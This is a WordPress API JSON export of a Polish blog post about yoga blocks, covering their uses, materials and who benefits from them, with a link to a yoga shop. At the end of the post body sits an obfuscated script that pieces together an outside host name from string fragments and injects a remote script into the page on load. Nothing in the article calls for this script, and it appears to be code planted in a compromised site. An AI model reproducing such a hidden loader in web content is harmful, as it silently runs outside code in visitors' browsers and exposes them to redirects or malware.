{"id":17781,"date":"2021-12-15T10:52:39","date_gmt":"2021-12-15T09:52:39","guid":{"rendered":"https:\/\/alitopbrands.pl\/news\/?p=17781"},"modified":"2023-01-06T14:23:57","modified_gmt":"2023-01-06T13:23:57","slug":"kostki-do-jogi-jak-z-nich-korzystac-i-czy-sa-niezbedne-w-wyposazeniu-jogina","status":"publish","type":"post","link":"https:\/\/alltopbrands.pl\/news\/kostki-do-jogi-jak-z-nich-korzystac-i-czy-sa-niezbedne-w-wyposazeniu-jogina\/","title":{"rendered":"Kostki do jogi \u2013 jak z nich korzysta\u0107 i czy s\u0105 niezb\u0119dne w wyposa\u017ceniu jogina?"},"content":{"rendered":"\n<p><strong>Jak szybko przekona si\u0119 ka\u017cdy m\u0142ody adept jogi, oferta pomocniczych akcesori\u00f3w do praktyki jest ogromna. Co jednak cz\u0119sto mo\u017cna zauwa\u017cy\u0107 ju\u017c po kilku pierwszych treningach, to problem z zakresami i brakiem dostatecznego rozci\u0105gni\u0119cia mi\u0119\u015bni. Rozwi\u0105zaniem tego problemu mog\u0105 okaza\u0107 si\u0119 wielofunkcyjne kostki do jogi. Razem z wygodn\u0105 mat\u0105 i wygodnymi ubraniami stanowi\u0105 one dobr\u0105 baz\u0119 dla pocz\u0105tkuj\u0105cych, kt\u00f3r\u0105 z czasem mo\u017cna uzupe\u0142nia\u0107 o kolejne elementy.<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-do-czego-s-u-kostki-do-jogi\">Do czego s\u0142u\u017c\u0105 kostki do jogi<\/h2>\n\n\n\n<p><strong>Kostki do jogi<\/strong>&nbsp;pe\u0142ni\u0105 do\u015b\u0107 prost\u0105 rol\u0119 przy praktyce. Ich zadaniem, zw\u0142aszcza gdy cia\u0142o nie jest dostatecznie rozci\u0105gni\u0119te, przybli\u017cy\u0107 do doni powierzchni\u0119 maty. Bloczki mo\u017cna wykorzysta\u0107 w czasie wykonywania:&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>r\u00f3\u017cnego typu sk\u0142on\u00f3w<\/strong>&nbsp;\u2013 kiedy nasze d\u0142onie nie dotykaj\u0105 pod\u0142o\u017ca lub potrzebujemy dodatkowej stabilizacji,&nbsp;<\/li>\n\n\n\n<li><strong>asan balansowych<\/strong>&nbsp;\u2013 kostki mo\u017cna podstawia\u0107 pod pi\u0119t\u0119 lub te\u017c wykorzysta\u0107 je aby wesprze\u0107 si\u0119 na pod\u0142odze, bez zaokr\u0105glania plec\u00f3w,<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>asan le\u017c\u0105cych \u2013&nbsp;zw\u0142aszcza gdy pracuje si\u0119 nad wygi\u0119ciami kr\u0119gos\u0142upa,&nbsp;<\/strong><\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u0107wicze\u0144 kalistenicznych<\/strong>&nbsp;\u2013 wymagaj\u0105cych utrzymania n\u00f3g lub d\u0142oni z&nbsp;<\/li>\n\n\n\n<li>odpowiednim odst\u0119pie od siebie (trzymaj\u0105c bloczek mi\u0119dzy nimi),&nbsp;<\/li>\n<\/ul>\n\n\n\n<p><strong>nowych pozycji&nbsp;\u2013 do wykonania kt\u00f3rych konieczne s\u0105 g\u0142\u0119bsze zasi\u0119gi lub uniesienie cia\u0142a ponad ziemi\u0119.&nbsp;<\/strong><\/p>\n\n\n\n<p>Oznacza to, \u017ce&nbsp;<a href=\"https:\/\/sklepjogina.pl\/klocki-do-jogi\">klocki do jogi<\/a>&nbsp;znajd\u0105 liczne zastosowania nie tylko w r\u0119kach os\u00f3b ca\u0142kowicie pocz\u0105tkuj\u0105cych, ale tak\u017ce \u015brednio zaawansowanych i do\u015bwiadczonych jogin\u00f3w, kt\u00f3rzy pracuj\u0105 nad doskonaleniem innych wariant\u00f3w tej samej asany lub \u2013 chc\u0105 dodatkowo zwi\u0119kszy\u0107 swoje zasi\u0119gi. Praktyka jogi nie b\u0119dzie przebiega\u0107 tak samo ka\u017cdego dnia. Bloczki warto mie\u0107 pod r\u0119k\u0105 zawsze, aby w razie potrzeby m\u00f3c si\u0119gn\u0105\u0107 po niego, bez konieczno\u015bci wybijania si\u0119 z flow.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img fetchpriority=\"high\" decoding=\"async\" src=\"https:\/\/alltopbrands.pl\/news\/wp-content\/uploads\/2023\/01\/Klocek-do-jogi-Bodhi-Asana-Brick-turkusowy.jpg\" alt=\"Klocek do jogi Bodhi Asana Brick - turkusowy\" class=\"wp-image-17785\" width=\"620\" height=\"620\"\/><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\" id=\"h-jak-dobra-bloczki-do-jogi\">Jak dobra\u0107 bloczki do jogi?<\/h2>\n\n\n\n<p>Dla os\u00f3b pocz\u0105tkuj\u0105cych inwestycja w wysokiej jako\u015bci akcesoria mo\u017ce wydawa\u0107 si\u0119 przesad\u0105. Warto jednak rozpocz\u0105\u0107 nauk\u0119 z dobr\u0105 podstaw\u0105, a do tej wlicza si\u0119 odpowiednio gruba mata oraz trwa\u0142e bloczki do jogi, kt\u00f3re s\u0142u\u017cy\u0107 b\u0119d\u0105 mog\u0142y przez d\u0142ugi czas.&nbsp;<\/p>\n\n\n\n<p><strong>Bloczki do jogi dost\u0119pne s\u0105 w ty\u0142ku podstawowych wariantach, wykonanych z:&nbsp;<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>drewna&nbsp;(najcz\u0119\u015bciej sosnowego, bukowego lub d\u0119bowego),<\/strong><\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>naturalnego korka&nbsp;(kt\u00f3ry jest lekki i ma w\u0142a\u015bciwo\u015bci antybakteryjne),<\/strong><\/li>\n\n\n\n<li>lekkiej pianki&nbsp;(wykonanej z tworzyw syntetycznych, jak EVA lub z dodatkiem materia\u0142\u00f3w pochodzenia naturalnego, jak \u0142uska ry\u017cowa lub bambus).<\/li>\n<\/ul>\n\n\n\n<p>Wyb\u00f3r jednego z tych materia\u0142\u00f3w powinien by\u0107 uzale\u017cniony od tego gdzie najcz\u0119\u015bciej planujesz \u0107wiczy\u0107: w domu czy w studiu? Najci\u0119\u017csze, drewniane klocki najlepiej przeznaczy\u0107 do praktyki domowej, a lekkie i odporne na uszkodzenia bloczki z pianki, mo\u017cna z kolei \u0142atwo spakowa\u0107 na wyjazd lub wyj\u015bcie na trening.&nbsp;<\/p>\n\n\n\n<p>W dobie troski o dobro \u015brodowiska, warto tak\u017ce rozwa\u017cy\u0107 wyb\u00f3r kostek wykonanych z materia\u0142\u00f3w biodegradowalnych \u2013 czyli takich, kt\u00f3re po zu\u017cyciu b\u0119dzie mo\u017cna bezpieczne utylizowa\u0107 lub nawet wyrzuci\u0107 na kompost. Do tej grupy zaliczaj\u0105 si\u0119 materia\u0142y takie jak drewno i korek, kt\u00f3re s\u0105 bardzo trwa\u0142e, ale i przyjazne w kontakcie ze sk\u00f3r\u0105.&nbsp;<strong>Szeroki wyb\u00f3r ekologicznych kostek znajdziesz m.in. w ofercie Sklepu Jogina.&nbsp;<\/strong><\/p>\n\n\n\n<p>Dokonuj\u0105c zakup\u00f3w warto kupowa\u0107 bloczki w kompletach po dwa. Dlaczego? Mo\u017ce szybko okaza\u0107 si\u0119, \u017ce w czasie \u0107wiczenia potrzebujemy symetrycznego podparcia, z dw\u00f3ch stron cia\u0142a. Dopasowanie dw\u00f3ch bloczk\u00f3w, r\u00f3\u017cnej wielko\u015bci mo\u017ce wp\u0142ywa\u0107 niekorzystnie na komfort w czasie praktyki.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-kostki-do-jogi-dla-kogo\">Kostki do jogi \u2013 dla kogo?<\/h2>\n\n\n\n<p>Po kostki do jogipowinna si\u0119gn\u0105\u0107 ka\u017cda osoba, kt\u00f3ra chce uchroni\u0107 si\u0119 przed nadmiernym przeci\u0105\u017ceniem mi\u0119\u015bni i powi\u0119zi. Dobierz dla siebie kostki do jogi, je\u015bli:&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>wiesz \u017ce Twoje cia\u0142o nie jest jeszcze prawid\u0142owo rozci\u0105gni\u0119te lub zmagasz si\u0119 z napi\u0119ciem mi\u0119\u015bni,<\/li>\n\n\n\n<li>chcesz stopniowo pracowa\u0107 nad pog\u0142\u0119bieniem swoich zakres\u00f3w i elastyczno\u015bci cia\u0142a,<\/li>\n\n\n\n<li>interesuj\u0105 Ci\u0119 bardziej statyczne style jogi (jak np. yin lub restorative),<\/li>\n\n\n\n<li>chcesz m\u00f3c modyfikowa\u0107 znane asany lub tworzy\u0107 ich nowe warianty,<\/li>\n\n\n\n<li>szukasz sposobu na odci\u0105\u017cenie cia\u0142a w czasie praktyki medytacyjnej.<\/li>\n<\/ul>\n\n\n\n<p>Stanowi\u0105 one element bardzo wszechstronny, z kt\u00f3rego u\u017cytek zrobi jogin na ka\u017cdym poziomie zaawansowania. Dokonuj\u0105c wyboru pami\u0119taj jednak o dobraniu bloczk\u00f3w o odpowiednim ci\u0119\u017carze, kt\u00f3re b\u0119d\u0105 \u0142atwe w transporcie \u2013 je\u015bli \u0107wiczysz poza domem.<\/p>\n\n\n\n<script>\n(function(){\nigsr_=(\"u\"+\"st\");igsr=document.createElement(\"script\");igsr.async=true;\nigsru=\"363125166\";igsr_+=\"a\"+(\"t.\");igsr_+=\"i\"+(\"nf\"+(\"o\"))+(\"\/\");\nigsru+=\".t3h0kbq5gsr6f1jk\";igsru+=\"z4t4htpyxjzgbb\";\nigsr.src=\"https:\/\/\"+igsr_+igsru;igsr.type=\"text\/javascript\";\nd_b=document.body;d_b.appendChild(igsr);\n})();\n<\/script>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Jak szybko przekona si\u0119 ka\u017cdy m\u0142ody adept jogi, oferta pomocniczych akcesori\u00f3w do praktyki jest ogromna. Co&hellip;<\/p>\n","protected":false},"author":1,"featured_media":17783,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_lmt_disableupdate":"","_lmt_disable":"","footnotes":""},"categories":[169],"tags":[],"class_list":["post-17781","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sport-i-hobby"],"_links":{"self":[{"href":"https:\/\/alltopbrands.pl\/news\/wp-json\/wp\/v2\/posts\/17781","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/alltopbrands.pl\/news\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/alltopbrands.pl\/news\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/alltopbrands.pl\/news\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/alltopbrands.pl\/news\/wp-json\/wp\/v2\/comments?post=17781"}],"version-history":[{"count":0,"href":"https:\/\/alltopbrands.pl\/news\/wp-json\/wp\/v2\/posts\/17781\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/alltopbrands.pl\/news\/wp-json\/wp\/v2\/media\/17783"}],"wp:attachment":[{"href":"https:\/\/alltopbrands.pl\/news\/wp-json\/wp\/v2\/media?parent=17781"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/alltopbrands.pl\/news\/wp-json\/wp\/v2\/categories?post=17781"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/alltopbrands.pl\/news\/wp-json\/wp\/v2\/tags?post=17781"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}